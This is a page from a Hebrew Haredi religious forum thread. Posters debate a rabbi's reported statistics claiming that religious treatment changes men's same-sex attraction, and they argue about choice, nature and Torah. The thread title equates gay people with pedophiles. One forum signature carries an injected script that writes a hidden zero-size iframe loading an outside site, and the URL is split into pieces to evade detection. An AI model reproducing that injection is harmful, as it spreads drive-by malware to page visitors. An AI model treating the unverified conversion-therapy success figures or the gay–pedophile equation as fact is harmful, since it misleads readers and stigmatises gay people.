בית פורומים עצור כאן חושבים

מחקר: אין הבדל בין הומואים לפדופילים בבחירה

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-7/9/2012 14:42 לינק ישיר 

אה. אז המחקר שהובא בתחילת האשכול הראה שלגברים שקיימו יחסי מין עם בנות 17 יש פחות חומר לבן באיזורים מסויימים במוח מלגברים שקיימו יחסים עם בנות 18? אם כך זה באמת מחקר פורץ דרך. דרך אגב, אם "השפה המדוברת היא השפה הקובעת ואת הסטיגמות ואת השמות קוראים בני האדם" זה אומר שחוקן עוזר נגד חרדים?




דדווח על תוכן פוגעני

מנותק
נשלח ב-7/9/2012 15:38 לינק ישיר 

זה שחוקן עוזר נגד הכל, כבר כתוב בתורה- עין תחת עין  פצע תחת פצע- חבורה תחת חבורה- וכו'



דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2015 00:29 לינק ישיר 

מיימוני:

"כל אדם חייב לשנות את הנטייה, חלק לא יצליח"

הרב ארל'ה הראל בכנס 'מיניות בקדושה': מתוך כ-600 שפנו אלינו בעשור האחרון, כשליש הצליחו לעבור שינוי מלא.

אלירן אהרון, א' באב תשע"ה, 17/07/15 09:02

הרב ארל'ה הראל, ר"מ בישיבת ברכת יוסף באלון מורה, השתתף השבוע בכנס "מיניות בקדושה", במושב שעסק בטיפול במשיכה תוך מגדרית.

הרב הראל שעוסק רבות בנושא סיפר כי על פי הנתונים הסטטיסטיים, "מתוך כ-600 שפנו אלינו בעשור האחרון, כשליש הצליחו לעבור שינוי מלא, כשליש הצליחו לעבור שינוי חלקי של משיכה לשני המינים, וכשליש לא הצליחו להשתנות בכלל".

"הקו שמרכז 'בקדושה' נוקט הוא שכל אחד צריך וחייב לנסות לשנות את הנטייה. כנראה שחלק לא יצליחו אבל הרוב יצליחו'', הוא מדגיש.

הרב הראל, לשעבר ראש ישיבת ההסדר בשילה, הסביר כי ''אדם שנמצא בסיטואציה כזאת מרגיש מצוקה, בוודאי אדם דתי שרוצה לאהוב את אלוקיו, ולכן הוא מתקשה לוותר על האהבה הזאת לצורך תאוות הבשרים שיש לו ולכן הוא מחפש כיוונים לטיפול. אחת המסגרות זה אנחנו, ויש לנו עשרות מטפלים מקצועיים, זהירים ובעלי ענווה, שמבצעים את העבודה, ומקווים להצלחה.

לדבריו, רוב גדול של המטופלים שבע רצון מהטיפול. "גם אלה שלא חוו שינוי, ואנחנו שמחים שאנחנו הופכים אנשים למאושרים יותר".

"הדבר הראשון שאומרים לו זה שאנחנו אוהבים אותו, שהקב"ה אוהב אותו, ושואלים אותו מה הוא רוצה, ולאן הוא רוצה ללכת. רוב החבר'ה שמגיעים אלינו, מכיוון שהם אוהבי ה' הם רוצים להגיע למצב שבו הם יוכלו לחיות חיים בריאים שלמים עם אישה ועם הקדוש ברוך הוא". 

"היהדות מאמינה בשינוי, העולם המודרני והפוסט-מודרני התייאשו משינוי, התייאשו מהתקדמות. המסר שלנו הוא 'בוא ותנסה האם אתה יכול להשתנות'. בכל דבר בעולם אנחנו מאמינים בשינוי ובמיוחד בנושא של משיכה תוך מגדרית, גם מי שמרגיש שגורלו אבוד והוא נמצא במציאות תקועה, אם הוא ינסה יש סיכויים טובים שהוא יצליח".






דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2015 01:02 לינק ישיר 

תוקן בעקבות הערה נכונה באישי

תוקן על ידי אריאל73 ב- 20/07/2015 01:17:27




דדווח על תוכן פוגעני

מחובר
נשלח ב-20/7/2015 01:13 לינק ישיר 

[מיימוני,

אני חושבת שהיום רוב המחקרים מדברים על כך שמיניות היא סקאלה, שבקצה אחד שלה הטרוסקסואליות מובהקת (מי שמעולם ולעולם לא נמשכו לבני מינם) ובקצה השני הומוסקסואליות מובהקת (מי שמעולם ולעולם לא נמשכו לבני המין השני); איפשהו באמצע נמצאים רוב בני האדם.  לכן, דומני שלא "שינוי" יש כאן אלא פשוט "זליגה" לכיוון מסוים של הסקאלה, שאולי לא רחוק נורא מן המקום הראשוני בו עמד האדם. אבל כאמור גם מפי כבוד הרב המצוטט לעיל, יש כ-1/3 מן האנשים שנשארים במקום.]



דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2015 01:20 לינק ישיר 

אולי יחסים חד מיניים היא שריד טבעי של יצורים שלא ידעו להבחין בין זכרים לנקבות ממינם (וכמובן שלא לצורת המשכב) אבל יחסים בין מינים שונים הוא משהו פחות מפותח של אי הבחנה בין מינם למין אחר ולכן כבר רחוק יותר ונשאר רק פחות. 
 



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/7/2015 07:35 לינק ישיר 

אמשלום

ברוכה השבה!

תודה שהעתקת את המאמר לכאן. זה עדיף מאשר באשכול הכתבות.

לגבי תשובתך -

אכן המאמר, אם הוא מתאר את העובדות נכונה, אינו מעיד אלא שאפשר לשנות אצל אלו שהיו חד מיניים מוצהרים, אבל אפשר לטעון שהם רק טעו לחשוב שהם חד מיניים ואינם יכולים לשנות.

לפי דבריך, אפשר לחלק את האנשים לפי השתייכותם המינית:

אלו שהם דו מיניים בהכרח.
אלו שהם באמצע.
אלו שהם חד מיניים בהכרח.

ואז אפשר להסביר שאלו שהצליחו לשנות בחזרה לדו מיניות מעולם לא היו אנוסים בדבר.

אז זו טענה שבהחלט נתמכת על ידי הממצאים, לא פחות מאשר הטענה שאפשר תמיד להשתנות לגמרי אם מספיק מתאמצים.

כאן לדעתי יש מקום להערה מתחום הפילוסופיה של המדע.

יש לנו כאן שתי תיאורית מתחרות:

לאדם יש בחירה חופשית לשנות את העדפתו המינית.
רק לחלק מבני האדם יש בחירה חופשית לגמרי לשנות העדפה מינית.

העובדות תומכות בשתי התיאוריות.

העובדות תומכות בשתי התיאוריות לא בגלל שיש להן עדיפות מצד התוכן שלהן, אלא רק מבחינה לוגית. אם מסכימים שקבוצת הבלתי מסוגלים להשתנות אינה זהה לכלל החד מיניים אלא רק למקצתם, כלומר שניתן לחלק את המשתתפים בסיוע שהוענק בידי המכון לשתי קבוצות, בני בחירה ושאינם כאלו, אז הממצאים יתמכו בהכרח בתיאוריה זו לא פחות מחברתה. שהרי השאלה היא אם אלו שלא השתנו זה בגלל שלא רצו או שלא יכלו. וההכרעה בין התיאוריות אינה יכולה עוד להתבסס על הממצאים אלא על הנחות יסוד קודמות לגבי היחס בין בחירה לאונס פנימי מצד המהות.

לשון אחר: כאשר יש לנו קבוצה של אלו שלא השתנו, האם זה בגלל שלא רצו או שלא יכלו? ואם הם לא יכלו, אז זה מוכיח - או מדגים - שיש כאלו שנטייתם בלתי בחירית, לא נמנעת, ושום דבר לא יעזור להם.

הדיון יתמקד אם כן בשאלה מדוע אותם שליש שלא השתנו הם כאלו. ובזה מצד הדיון הפילוסופי מדעי, עד כמה שהדברים מובנים ומוכרים לי, לא ניתן להכריע. וממילא יש לנו רק נתונים מספריים על קבוצה אחת שכן פנתה לעזרה, וגם לגביה המידע חלקי (למשל, האם אלו שאמרו שהשתנו יחזיקו מעמד גם לאחר זמן?).

בסופו של דבר, הדברים תלויים בהנחת יסוד שלגביה דומה שלא תיתכן הכרעה אמפירית (=לפי בדיקה עובדתית, אפילו היתה זו אפשרית עבורנו כלומר היינו יכולים לראיין את המצהירים): האם כאשר אדם חש רצון חזק מאד זה בבחירתו או שלא.

עם זאת, סבורני שיש ממצא אחד שמחזק את אלו שסבורים שחד מיניות היא "נגד הטבע" וזה שהיו מספר גדול למדי מבין הנבדקים - שני שלישים - שהאמינו משהו שלילי (אני שיפוטי לפי הנחות היסוד שלי) לגבי עצמם, וגילו שזה לא נכון.

ושוב, אנו מדברים על מדגם חלקי ואחד ויחיד.

אני בהחלט מקבל שפרשנותך אפשרית לוגית ומדעית. אני כן שולל אותה לפי  הנחות היסוד שלי אודות טבעו הפתוח לחלוטין של האדם.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2015 11:55 לינק ישיר 

.

מיימוני,

האם תוכל להסביר מהי הנחתך בדבר טבעו הפתוח לחלוטין של האדם?



דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2015 13:35 לינק ישיר 

אמשלום
הייתי בכנס בו הוא הציג את התוצאות. לדבריו המטופלים (סה"כ 627 גברים בגילאי 16-33)נתבקשו לדרג את נטייתם לפי הדירוג הבא:


7- משיכה רק לבני מינם, חשים דחייה כלפי המין השני

6- משיכה רק לבני מינם, אינם חשים דחייה מבני המין השני

5- משיכה בעיקר לבני מינם, משיכה חלשה לבני המין השני

4- משיכה לשני המינים באופן שווה

3- משיכה בעיקר המין השני, משיכה חלשה לבני מינם

2- משיכה רק לבני המין השני, אינם חשים דחייה מבני מינם

1- משיכה רק לבני המין השני, חשים דחייה כלפי בני מינם

                                                                                     

סה"כ 47 מטפלים לפי הפירוט הבא:

6 פסיכיאטרים,24 פסיכולוגים קליניים,9 פסיכולוגים חינוכיים,1 פסיכולוג שיקומי,2 פסיכולוגים ארגוניים,4 תרפיסטיים,1 טיפול באמצעות טיפול מודרך

 

נתוני הצלחה

א. המטופלים ענו על שאלון שנה לאחר סיום הטיפול ושנתיים לאחר מכן. 121 משתתפים ענו גם לאחר ארבע שנים, אך תוצאות אלו לא הוצגו.

ב. בשאלון נדרשו המטופלים לדרג את רמת המשיכה (לא פעילות מינית) בהתאם לסולם שלמעלה.

אנשים שהתחילו ברמה 6 (סה"כ 473):

 

לאחר שנה

לאחר שנתיים

רמת משיכה

כמות אנשים

רמת משיכה

כמות אנשים

6

 

6

51

5

 

5

101

4

 

4

191

3

 

3

130

 

אנשים שהתחילו ברמה 7 (סה"כ 154):

לאחר שנה

לאחר שנתיים

רמת משיכה

כמות אנשים

רמת משיכה

כמות אנשים

7

30

7

30

6

41

6

42

5

29

5

28

4

31

4

33

3

23

3

21




דדווח על תוכן פוגעני

מחובר
נשלח ב-20/7/2015 13:37 לינק ישיר 

כמות האנשים שמוצגת בשורה של רמה 3 הכוונה לרמה 3 ומטה. משום מה לא הוצג פירוט עבור רמות אילו



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/7/2015 23:40 לינק ישיר 

[מיימוני,


כתבת: "עם זאת, סבורני שיש ממצא אחד שמחזק את אלו שסבורים שחד מיניות היא "נגד הטבע" וזה שהיו מספר גדול למדי מבין הנבדקים - שני שלישים - שהאמינו משהו שלילי (אני שיפוטי לפי הנחות היסוד שלי) לגבי עצמם, וגילו שזה לא נכון."

קראתי פעם ועוד אחת ועדיין לא הבנתי מה הקשר בין "טבע" (או "נגד הטבע") ובין תחושה שלילית לגבי המשיכה המינית ה"שלילית" (לשיטתך). האם אנו חשים ייסורי מצפון או רגשות אשמה רק על מה שאנו עושים (או מרגישים) שהוא "נגד הטבע"?! לא חקרתי את הנושא אבל נראה לי יותר מִסביר שמרבית הגורמים לרגשות אשמה וייסורי מצפון  - באופן כללי ולא רק בהקשר המיני - הם דווקא גורמים "חברתיים" (קרי: זה לא מקובל בחברה שלנו, חינכו אותנו שזה אסור או לא מהוגן או לא ראוי וכו').

בנוסף, אני לא חושבת שהם "גילו" שמה שהאמינו לגבי עצמם "לא נכון". הם אולי גילו שה"אני" שלהם מכיל יותר ממה שחשבו בהתחלה, ושהמיניות שלהם מורכבת יותר ממה שייחסו לעצמם (זה במקרה הטוב ומתוך קריאה מאוד מאוד נדיבה של כל הסיפור הזה; באופן אישי יש לי תחושה שמרבית האנשים פשוט למדו להסתיר טוב יותר את ה"חלק" של המשיכה החד-מינית שלהם ולהחצין יותר  - אם לא "להמציא" לחלוטין - את החלק של המשיכה למין השני, אבל אולי אני סקפטית מדי).

ה"דילוג" הלוגי שעשית כאן יכול לזכות אותך (ואת מדינת ישראל - סוף סוף!) במדליית זהב אולימפית :-) ]




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/7/2015 23:41 לינק ישיר 

[שגיב,

תודה על הנתונים.
האם לא חסר שם טור אחד? (אנשים שהתחילו ברמה 6, לאחר שנה).]



דדווח על תוכן פוגעני

מנותק
נשלח ב-21/7/2015 08:07 לינק ישיר 

אמשלום

אני מופתע לגלות שהצגתי טיעון לא תקף, כלומר שיש בו "דילוג", ועוד כזה שמזכה במדלית זהב.

יתכן אמנם שלא הבהרתי את עצמי היטב.

אכתוב שנית, כשאני מוסיף על תגובתי הקודמת (וגם אשתדל לענות למואדיב על שאלה חשובה מאד ותודה לו).

מסתבר שכדאי להתחיל עם הנחות היסוד, שעל חלקן אנו מסכימים ועל חלקן לא.

מוסכם:

א. יש חד מיניים. לפעמים בשאיפה, לפעמים במעשה.
ב. התורה אוסרת על חד מיניות. (לפחות במקביל של מעשי אישות).

במחלוקת:

ג. ניתן לאדם לשנות את אורח חייו ולהיות דו מיני גם אם יש לו תשוקה עזה להיות חד מיני. גם אם אין לו שום תשוקה להיות דו מיני.

נתון של מפרסמי התוכנית:

ד. יש כאלו שדיווחו שהם חד מיניים במובן מסויים, אך השתנו לאחר טיפול בתוכנית. יש כאלו שדיווחו שהם חד מיניים ונראה שנשארו כאלו.

עכשו הדיון יכול להתמקד בכל אחת משתי תת קבוצות אלו. וניתן לשאול:

1. האם אלו שנותרו חד מיניים זה בגלל שלא התאמצו מספיק או בגלל שזה לא ניתן לשינוי?

2. האם אלו שהפכו להיות דו מיניים זה בגלל שהשתנו או שתמיד היו עם נטיות כפולות ורק הצליחו לחזק את הצד המותר לפי התורה?

לגבי אלו ששייכים לקבוצה השניה, יש לנו כמה תיאוריות.

מיימוני:

שני שלישים - שהאמינו משהו שלילי (אני שיפוטי לפי הנחות היסוד שלי) לגבי עצמם, וגילו שזה לא נכון.
כלומר הם האמינו שהם חד מיניים וגילו שהם מסוגלים לתפקד כדו מיניים ולא לחוש עוד משיכה לבני מינם.

אמשלום 1:
אני לא חושבת שהם "גילו" שמה שהאמינו לגבי עצמם "לא נכון". הם אולי גילו שה"אני" שלהם מכיל יותר ממה שחשבו בהתחלה, ושהמיניות שלהם מורכבת יותר ממה שייחסו לעצמם (זה במקרה הטוב ומתוך קריאה מאוד מאוד נדיבה של כל הסיפור הזה)

אמשלום 2:

באופן אישי יש לי תחושה שמרבית האנשים פשוט למדו להסתיר טוב יותר את ה"חלק" של המשיכה החד-מינית שלהם ולהחצין יותר  - אם לא "להמציא" לחלוטין - את החלק של המשיכה למין השני, אבל אולי אני סקפטית מדי

אני מסכים לחלוטין עם שתי הפרשנויות שכתבה אמשלום. אבל אני כנראה מפרש את משמעותן אחרת.

אני סבור כמו אמשלום שהאישיות האנושית, הפסיכולוגיה האנושית, יכולה להיות מורכבת מאד. ואדם יכול לחוש רצונות מנוגדים. והוא בוחר איזה מהם לממש. הוא בוחר איזה מהם לקרב ולראות כלגיטימי ואיזה מהם לשלול ולראות כפסול. (ברגע שיש לו מודעות לכך - כשהוא תופס מרחק וממשיג זאת). אדם אפילו מסוגל לפתח רצונות חדשים שלא היו במלאי של רצונותיו הקודמים.

אבל אני סבור גם ש:

נתינת העדפה לרצון בכיוון הדו מיני על חשבון הרצון החד מיני היא תיקון, או שינוי, שהיה מטרה בתוכנית והמטרה הושגה.

יצירת רצון חדש, או רכישת רצון חדש, אף היא היתה מטרה בתוכנית והושגה.

איך אפשר לדעת שאני צודק? שיש לאדם רצונות כאלו, קודם או או אחר כך?

התשובה היא כנראה שזה בלתי אפשרי. אין אפשרות לאדם להיכנס לפסיכולוגיה של זולתו ולומר: זה מה שאתה מרגיש, זה מה שאתה רוצה, ואני יודע זאת בגלל שכך וכך (למשל: אני חכם, אני פסיכולוג, אני למדתי זאת מהתורה האלוקית).

אפשר גם להעלות את הטענה החזקה יותר מבחינה לוגית שגם האדם עצמו אינו יודע לגמרי מה הוא רוצה ומה יש בתוכו. (כיוון פרוידיאני. אם אתה טוען שאתה לא כך וכך, ונפגע מזה שייחסו לך את הרצון הזה, זה רק מעיד שהמאשים צודק!)

אם אני מסכים עם אמשלום שאדם עשוי לגלות משיכה דו מינית שהיתה בו בעוצמה זו או אחרת, ולהתעלם ממשיכה חד מינית שהיתה בו (כלומר: לשקר לעצמו), אז מה ההבדל בינינו?

זהו, שלא ברור לי אם יש בינינו הבדל, לאחר שקוראים את הניתוח הזה. יתכן שההבדל הוא בשאלה איך להתייחס להצהרה על שינוי רצון. האם האדם מרמה את עצמו או שזה "אמיתי"? כאן אני רוצה להעלות את הטענה שאם אדם משנה את עצמו ביודעין ומנסה להרגיל את עצמו לגישה שונה מהעבר, זה חלק ממנו. חלק שהוא כופה על עצמו, מכל מיני סיבות (אדון לקמן) אבל עדיין חלק אמיתי. כי כל מה שאני בוחר לקדם זה חלק ממני. ניתן לשכנע אותי, לכפות עלי התנהגות, אבל כאשר אני מאמץ את מה שנכפה עלי, השתניתי. זה יכול לקרות כתוצאה של "שטיפת מוח" אבל זה גם מה שאנו קוראים "חינוך". אם זה נעשה בצורה מכבדת, תוך פניה לאדם והצעה לו לחזק צד שהוא מעדיף (מכל מיני סיבות) זה כבר חינוך, סיוע פסיכולוגי, וזה הוא באמת.





___תוקנה טעות בין המילה "ראשונה" ל"שניה". סליחה______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 21/07/2015 08:20:48




דדווח על תוכן פוגעני

מנותק
נשלח ב-21/7/2015 08:09 לינק ישיר 

המשך

נשארו לי שתי נקודות לדון בהן. למואדיב על "האדם כאפשרות פתוחה" ולאמשלום על ההצדקה לטענה שחד מיניות פסולה.

למואדיב:

מה פירוש שהאדם "פתוח לגמרי" לשינוי. כוונתי היא שאדם שהוא בעל מידות רעות ותכונות רעות יכול להרגיל את עצמו על ידי עבודה עצמית, ועוד יותר עם סיוע, להשתנות. זה בתנאי שהוא מוכן להשקיע, להתאמץ, אפילו לסבול זמנית. אדם יכול, לדוגמא, להפסיק לעשן, למרות שזה יהיה קשה. וזה הוא, כפי שכתבתי לאמשלום.

האם זה נראטיב או אמת לגבי האדם? אני סבור שזו אמת לגבי עצמנו. מן הסתם צריך לפתח זאת במסגרת דיון רחב יותר על "מהו האדם". אכתוב בקצרה שאני סבור שהאקזיסטנציאליסטים תפסו אמת יסודית בהציגם את האדם כאפשרות פתוחה ממהותו. אין דבר שחסום בפני אישית, בפני הקורא, בפני כל אדם. זו שאלה של בחירה, מאמץ, ואפשרויות חיצוניות.

לאמשלום

הנקודה האחרונה היא: מה רע בחד מיניות.

מכל הדיונים עד היום למדתי שיש סתירה במחשבותי ורגשותי. קצת אוטוביוגרפיה: כמדומה שרובנו מתחילים עם אמון מלא בתורה שהיא מייצגת את הערכים הראויים (ובכלל "ערך ראוי" זו טאוטולוגיה=משפט זהות שתמיד אמיתי מבחינה לוגית). ואז אנו מגלים שיש צרימות. שאסור להציל חיי גוי בשבת. שיש מי שאומר שההורג גוי פטור. שעבדות זה לגיטימי. היחס לאשה כאדם מסוג ב' (ניסוח חריף מדי) ועוד. ואז הלמדן יאמר לעצמו כמוני שהתורה פנתה לעם ישראל לפי יכולתו התרבותית בזמן נתינתה והיום השתפרנו. זו אמירה קשה אבל כמדומה הכרחית. אם אנו טובים מאבותינו מצד תפיסת הערכים שלנו, זו עצמה השפעה של התורה המחנכת.

ומה עם היחס לחד מיניות? האם התורה אסרה זאת מפני שזה רע בעצם (כמו נניח לשפוך דם) או בגלל שזה משקף איזה צורך פסיכולוגי הישרדותי, נניח, אבל גם זו פונקציה של חברה ותרבות? אז אפשר וראוי להתעלם מן הרצון הזה? האם גבר שנמשך לגבר, זו הטיה מפלצתית של המציאות הטבעית, או שזו בחירה לגיטימית שצריך לכבד? שרק הורגלנו לבזות אינטואיטיבית בגלל חינוך, תרבות, אולי אפילו הנחות יסוד שנובעות מן הביולוגיה שלנו או לפחות הפסיכולוגיה הראשונית של כל אדם? (הדחיה מחד מיניות היא נתון שמשרת את ההישרדות של הגזע. החד מיני נמנע מתרומת הגנים שלו למאגר הכולל).

האם הרגש הראשוני שלי נגד החד מיניות הוא משקף את הערך הנכון (כמו ההתנגדות הטבעית לשפיכות דם) או שזו תוצאה של חיברות, תירבות, ועוד מונחים סוציולוגיים. זו שאלה שבאמת איני יודע לענות עליה. יש לי רגשות אשמה מהצד ההומאני שלי, שאיני מכבד את החד מיני וסבור שחובתו להשתנות. שאני מוכן לקבל שהיחס לאשה טעון שינוי של הגדרה, שהעולם השתפר בכך שנשים "יצאו מהמטבח", שאנו טובים בכך מאבותינו, אבל איני ממשיך ליישם את הגישה הזו גם כלפי חד מיניים. מצד שני, אולי באמת ההסתייגות העמוקה שיש לרובנו ככולנו נגד חד מיניות אולי היא באמת מצביעה על גילוי של "מוסר טבעי" (אותו אופן גילוי שאסור לפגוע בזולת)? האם אפשר בכלל לספק תשובה החלטית לשאלה הזו?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-21/7/2015 08:19 לינק ישיר 

שגיב

ברוך הבא אל הפורום!

לקח לי קצת זמן לפענח את הטבלאות. האם הבנתי נכון כי:

אלו שהיו בדרגה 6, כלומר משיכה רק לבני מינם, אך אינם חשים דחייה מבני המין השני, נותרו 51 מתוך 473 באותו מצב? כעשרה אחוזים לפי המחשבון של חלונות?

אלו שהיו ברמה 7, כלומר משיכה רק לבני מינם, חשים דחייה כלפי המין השני, נותרו 30 מתוך 154 כפי שהיו. זה אומר כמעט 20 אחוזים.

נראה לי שהחלק המעניין ביותר מבחינת הדיון שלנו הוא האחרון. אלו שחשו דחיה מדו מיניות - מפני שמי שחש שאין לו הסתייגות מיניה וביה מדו מיניות, ביתר קלות יוכל לחנך את עצמו מחדש. לעומת זאת, מי שדו מיניות דוחה אותו, אין לו מה שיסייע לו לשנות הרגל והעדפה. גם עליו לוותר על המשיכה הראשונית לחד מיני שעבורו היא טבעית כמו דו מיניות לכולנו, וגם אין לו שום הנאה, ואדרבה, רק סבל, מקשר דו מיני! זה מפליא שיש 80 אחוזים שהצליחו לשנות יחס! בתחום כל כך רגיש, נגד הנתון הראשוני, אולי המולד. זה מעורר התפעלות, גם מהם וגם מאלו שסייעו להם, וזה גם יכול לעורר חשד שהם לא הכירו את עצמם היטב, כדברי אמשלום, וכבר כתבתי שלדעתי אין אפשרות לדעת "מה באמת חשו בפנים" וגם הם עצמם אולי לא מכירים את עצמם. אבל - אם הולכים אחרי הדיווח, יש כאן שינוי מדהים.

לגבי אלו שנותרו כפי שהיו, גם כאן יש לשאול מדוע נכשלו, שהרי אזרו אומץ לפנות לסיוע, רצו להשתנות, מדוע הרצון להשתנות לא הספיק להם? האם יש באמת דברים שאינם ניתנים לשינוי אצל האדם?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > מחקר: אין הבדל בין הומואים לפדופילים בבחירה
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 ... 7 8 9 10 11 לדף הבא סך הכל 11 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.